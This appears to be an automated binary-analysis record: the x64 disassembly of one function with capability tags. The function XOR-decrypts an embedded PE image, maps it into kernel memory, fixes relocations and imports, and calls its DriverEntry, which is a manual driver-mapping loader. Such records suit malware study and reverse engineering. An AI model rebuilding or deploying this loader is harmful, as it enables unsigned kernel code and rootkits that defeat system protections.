Function at 0x14000ebc0
Capabilities:
Encode data using xor
Parse pe header

Disassembly:
mov rax, rsp
mov byte [rax + 0x20], r9b
mov qword [rax + 0x18], r8
mov qword [rax + 0x10], rdx
mov qword [rax + 8], rcx
push rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x58
mov r14, qword [0x14008a240]
lea rbp, [0x140051c80]
mov qword [rsp + 0xb0], r14
mov rax, rbp
mov ecx, 0x1ca0
movdqa xmm1, xmmword [0x14004b1a0]
movdqu xmm0, xmmword [rax]
pxor xmm1, xmm0
movdqu xmmword [rax], xmm1
lea rax, [rax + 0x10]
sub rcx, 1
jne 0x14000ec01
mov eax, 0x5a4d
cmp word [0x140051c80], ax
jne 0x14000ef2a
movsxd rbx, dword [0x140051cbc]
add rbx, rbp
cmp dword [rbx], 0x4550
jne 0x14000ef2a
mov eax, 0x20b
cmp word [rbx + 0x18], ax
je 0x14000ec5e
lea rdx, str.____Image_is_not_64_bit
jmp 0x14000ef31
mov edi, dword [rbx + 0x50]
xor ecx, ecx
mov edx, edi
mov r8d, 0x3000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
xor r12d, r12d
mov rsi, rax
test rax, rax
je 0x14000ef45
movzx eax, word [rbx + 0x14]
mov rcx, r14
mov r13d, dword [rax + rbx + 0x24]
sub edi, r13d
mov eax, edi
mov r8d, edi
mov qword [rsp + 0xa8], rax
call fcn.140003360
mov qword [rsp + 0xa0], rax
mov r15, rax
lea rdi, [0x140088a70]
test rax, rax
jne 0x14000ecc8
lea rdx, str.____Failed_to_allocate_remote_image_in_kernel
jmp 0x14000eea5
lea rdx, str.___Image_base_has_been_allocated_at_0x
mov rcx, rdi
call fcn.140009174
mov rdx, r15
mov rcx, rax
call fcn.1400064b0
mov rcx, rax
call fcn.1400093c0
mov r8d, dword [rbx + 0x54]
mov rdx, rbp
mov rcx, rsi
call fcn.1400163a0
movzx ebp, word [rbx + 0x14]
xor eax, eax
add rbp, 0x2c
cmp ax, word [rbx + 6]
jae 0x14000ed40
add rbp, rbx
lea r14, [0x140051c80]
mov edx, dword [rbp]
mov ecx, dword [rbp - 8]
add rdx, r14
mov r8d, dword [rbp - 4]
add rcx, rsi
call fcn.1400163a0
movzx eax, word [rbx + 6]
lea rbp, [rbp + 0x28]
inc r12d
cmp r12d, eax
jl 0x14000ed13
mov r14, qword [rsp + 0xb0]
mov rbp, r15
lea rdx, str.___Skipped_0x
mov rcx, rdi
sub r15, r13
call fcn.140009174
mov edx, r13d
mov rcx, qword [rax]
movsxd r8, dword [rcx + 4]
mov rcx, rax
add r8, rax
and dword [r8 + 0x18], 0xfffff9ff
bts dword [r8 + 0x18], 0xb
call fcn.140006830
mov rcx, rax
lea rdx, str._bytes_of_PE_Header
call fcn.140009174
mov rcx, rax
call fcn.1400093c0
mov r12, r15
lea rcx, [rsp + 0x30]
sub r12, qword [rbx + 0x30]
mov rdx, rsi
call fcn.14000fac4
mov r11, rax
mov r10, qword [rax + 8]
mov rdx, qword [rax]
cmp rdx, r10
je 0x14000ee00
xor eax, eax
mov r9d, eax
cmp dword [rdx + 0x10], eax
jbe 0x14000edf7
mov rax, qword [rdx + 8]
mov ecx, r9d
movzx r8d, word [rax + rcx*2]
mov ecx, 0xf000
movzx eax, r8w
and ax, cx
mov ecx, 0xa000
cmp ax, cx
jne 0x14000edec
mov rax, qword [rdx]
and r8d, 0xfff
add qword [r8 + rax], r12
inc r9d
cmp r9d, dword [rdx + 0x10]
jb 0x14000edbc
xor eax, eax
add rdx, 0x18
cmp rdx, r10
jne 0x14000edb4
mov rcx, r11
call fcn.14000f18c
mov rdx, rsi
lea rcx, [rsp + 0x30]
call fcn.14000fbf4
mov rdx, rax
mov rcx, r14
call fcn.14000ef58
xor r12d, r12d
test al, al
jne 0x14000ee30
lea rdx, str.____Failed_to_resolve_imports
jmp 0x14000eea5
mov r9, qword [rsp + 0xa8]
lea r8, [rsi + r13]
mov rdx, rbp
mov rcx, r14
call fcn.140003114
test al, al
jne 0x14000ee54
lea rdx, str.____Failed_to_write_local_image_to_remote_image
jmp 0x14000eea5
mov ebx, dword [rbx + 0x28]
lea rdx, str.____Calling_DriverEntry_0x
mov rcx, rdi
add rbx, r15
call fcn.140009174
mov rdx, rbx
mov rcx, rax
call fcn.1400064b0
mov rcx, rax
call fcn.1400093c0
xor r9d, r9d
mov dword [rsp + 0xb8], r12d
mov r8, rbx
lea rdx, [rsp + 0xb8]
mov rcx, r14
call fcn.14000f434
test al, al
jne 0x14000eed8
lea rdx, str.____Failed_to_call_driver_entry
mov rcx, rdi
call fcn.140009174
mov rcx, rax
call fcn.1400093c0
xor edx, edx
mov r8d, 0x8000
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rdx, qword [rsp + 0xa0]
mov rcx, r14
call fcn.1400034c8
jmp 0x14000ef45
lea rdx, str.___DriverEntry_returned_0x
mov rcx, rdi
call fcn.140009174
mov rcx, qword [rax]
movsxd rdx, dword [rcx + 4]
mov rcx, rax
add rdx, rax
and dword [rdx + 0x18], 0xfffff9ff
bts dword [rdx + 0x18], 0xb
mov edx, dword [rsp + 0xb8]
call fcn.14000f200
mov rcx, rax
call fcn.1400093c0
xor edx, edx
mov r8d, 0x8000
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rax, rbp
jmp 0x14000ef47
lea rdx, [0x14004abd0]
lea rcx, [0x140088a70]
call fcn.140009174
mov rcx, rax
call fcn.1400093c0
xor eax, eax
add rsp, 0x58
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret